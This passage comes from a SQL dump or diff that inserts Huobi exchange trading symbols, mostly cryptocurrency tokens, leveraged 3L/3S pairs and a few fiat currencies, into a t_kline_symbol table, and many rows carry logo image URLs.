NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (635, 'huobi', 'uni2l', 'UNI2L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (636, 'huobi', 'uni2s', 'UNI2S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (637, 'huobi', 'fis', 'FIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stafi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (638, 'huobi', 'bsv3l', 'BSV3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (639, 'huobi', 'bsv3s', 'BSV3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (640, 'huobi', 'bch3l', 'BCH3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (641, 'huobi', 'bch3s', 'BCH3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (642, 'huobi', 'ghst', 'GHST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavegotchi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (643, 'huobi', 'eos3l', 'EOS3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (644, 'huobi', 'eos3s', 'EOS3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (645, 'huobi', 'mass', 'MASS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massnet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (646, 'huobi', 'ltc3l', 'LTC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (647, 'huobi', 'ltc3s', 'LTC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (648, 'huobi', 'nu', 'NU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/nucypher.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (649, 'huobi', 'xrp3l', 'XRP3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (650, 'huobi', 'xrp3s', 'XRP3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (651, 'huobi', 'oxt', 'OXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orchid.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (652, 'huobi', 'bcha', 'BCHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoincashabc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (653, 'huobi', 'zec3l', 'ZEC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (654, 'huobi', 'zec3s', 'ZEC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (655, 'huobi', 'beth', 'BETH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (656, 'huobi', 'rub', 'RUB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rubychain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (657, 'huobi', 'nsure', 'NSURE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nsure-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (658, 'huobi', 'fil3l', 'FIL3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (659, 'huobi', 'fil3s', 'FIL3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (660, 'huobi', 'nhbtc', 'NHBTC', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (661, 'huobi', 'pond', 'POND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marlin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (662, 'huobi', 'onx', 'ONX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onix.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (663, 'huobi', 'gbp', 'GBP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gbp.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (664, 'huobi', 'kzt', 'KZT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kzt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (665, 'huobi', 'uah', 'UAH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uah.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (666, 'huobi', 'eur', 'EUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eur.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (667, 'huobi', 'pols', 'POLS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkastarter.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (668, 'huobi', 'bag', 'BAG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitagora.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (669, 'huobi', 'bags', 'BAGS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagstoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (670, 'huobi', 'badger', 'BADGER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badger-dao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (671, 'huobi', 'mdx', 'MDX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (672, 'huobi', 'sofi', 'SOFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (673, 'huobi', 'yam', 'YAM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yam-v3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (674, 'huobi', 'zks', 'ZKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zks.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (675, 'huobi', 'stake', 'STAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai-stake.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (676, 'huobi', 'lhb', 'LHB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendhub.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (677, 'huobi', 'nsbt', 'NSBT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neutrino-system-base-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (678, 'huobi', 'filda', 'FILDA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/filda.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (679, 'huobi', 'can', 'CAN', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (680, 'huobi', 'don', 'DON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/don-key.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (681, 'huobi', 'xym', 'XYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/symbol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (682, 'huobi', 'stn', 'STN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stone-toke.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (683, 'huobi', 'insur', 'INSUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insurchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (684, 'huobi', 'qi', 'QI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benqi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (685, 'huobi', 'apn', 'APN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apron.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (686, 'huobi', 'mir', 'MIR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mirror-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (687, 'huobi', 'forth', 'FORTH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ampleforth-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (688, 'huobi', 'pundix', 'PUNDIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x-2.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (689, 'huobi', 'cspr', 'CSPR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/casper-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (690, 'huobi', 'shib', 'SHIB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiba-inu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (691, 'huobi', 'lat', 'LAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/platon-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (692, 'huobi', 'xch', 'XCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chia-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (693, 'huobi', 'o3', 'O3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/o3-swap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (694, 'huobi', 'nft', 'NFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apenft.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (695, 'huobi', 'dao', 'DAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dao-maker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (696, 'huobi', 'amp', 'AMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amp-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (697, 'huobi', 'boring', 'BORING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boringdao-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (698, 'huobi', 'brl', 'BRL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (699, 'huobi', 'xec', 'XEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecash.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (700, 'huobi', 'dfa', 'DFA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/define.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (701, 'huobi', 'clv', 'CLV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clover-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (702, 'huobi', 'sku', 'SKU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sakura.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (703, 'huobi', 'xprt', 'XPRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/persistence.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (704, 'huobi', 'epik', 'EPIK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epikprime.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (705, 'huobi', 'whale', 'WHALE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whale.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (706, 'huobi', 'tribe', 'TRIBE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tribe-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (707, 'huobi', 'ygg', 'YGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (708, 'huobi', 'push', 'PUSH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-push-notification-service.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (709, 'huobi', 'orbs', 'ORBS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (710, 'huobi', 'talk', 'TALK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btctalkcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (711, 'huobi', 'rly', 'RLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rally-2.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (712, 'huobi', 'stf', 'STF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/structure-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (713, 'huobi', 'pgala', 'PGALA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pgala.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (714, 'huobi', 'wozx', 'WOZX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wozx.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (715, 'huobi', 'eden', 'EDEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/archer-dao-governance-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (716, 'huobi', 'galft', 'GALFT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (717, 'huobi', 'psg', 'PSG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paris-saint-germain-fan-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (718, 'huobi', 'juv', 'JUV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juventus-fan-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (719, 'huobi', 'cere', 'CERE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cerenetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (720, 'huobi', 'ngl', 'NGL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gold-fever-native-gold.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (721, 'huobi', 'movr', 'MOVR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonriver.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (722, 'huobi', 'sdn', 'SDN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shiden-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (723, 'huobi', 'efi', 'EFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/efinity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (724, 'huobi', 'boba', 'BOBA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boba-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (725, 'huobi', 'unic', 'UNIC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicoin.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (726, 'huobi', 'sgb', 'SGB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/songbird.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (727, 'huobi', 'mono', 'MONO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/monopolist.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (728, 'huobi', 'war', 'WAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yieldwars.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (729, 'huobi', 'ioi', 'IOI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ioi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (730, 'huobi', 'bico', 'BICO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biconomy.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (731, 'huobi', 'pyr', 'PYR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vulcan-forged.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (732, 'huobi', 'kma', 'KMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/calamari-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (733, 'huobi', 'rifi', 'RIFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rikkei-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (734, 'huobi', 'lith', 'LITH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lithium-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (735, 'huobi', 'opul', 'OPUL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/opulous.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (736, 'huobi', 'fox', 'FOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (737, 'huobi', 'super', 'SUPER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superfarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (738, 'huobi', 'unb', 'UNB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Unbreakablcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (739, 'huobi', 'aury', 'AURY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurory.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (740, 'huobi', 'xtm', 'XTM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/torum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (741, 'huobi', 'gods', 'GODS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gods-unchained.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (742, 'huobi', '1sol', '1SOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1sol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (743, 'huobi', 'radar', 'RADAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dappradar.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (744, 'huobi', 'gmpd', 'GMPD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gamespad.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (745, 'huobi', 'ustc', 'USTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terrausd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (746, 'huobi', 'elon', 'ELON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogelon-mars.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (747, 'huobi', 'dio', 'DIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decimated.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (748, 'huobi', 'nt', 'NT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (749, 'huobi', 'sos', 'SOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sos-foundation.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (750, 'huobi', 'wnd', 'WND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wonderhero.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (751, 'huobi', 'ertha', 'ERTHA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ertha.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (752, 'huobi', 'aurora', 'AURORA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-near.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (753, 'huobi', 'rain', 'RAIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/condensate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (754, 'huobi', 'slc', 'SLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/slice.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (755, 'huobi', 'love', 'LOVE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (756, 'huobi', 'xyo', 'XYO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xyo-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (757, 'huobi', 'looks', 'LOOKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/looksrare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES 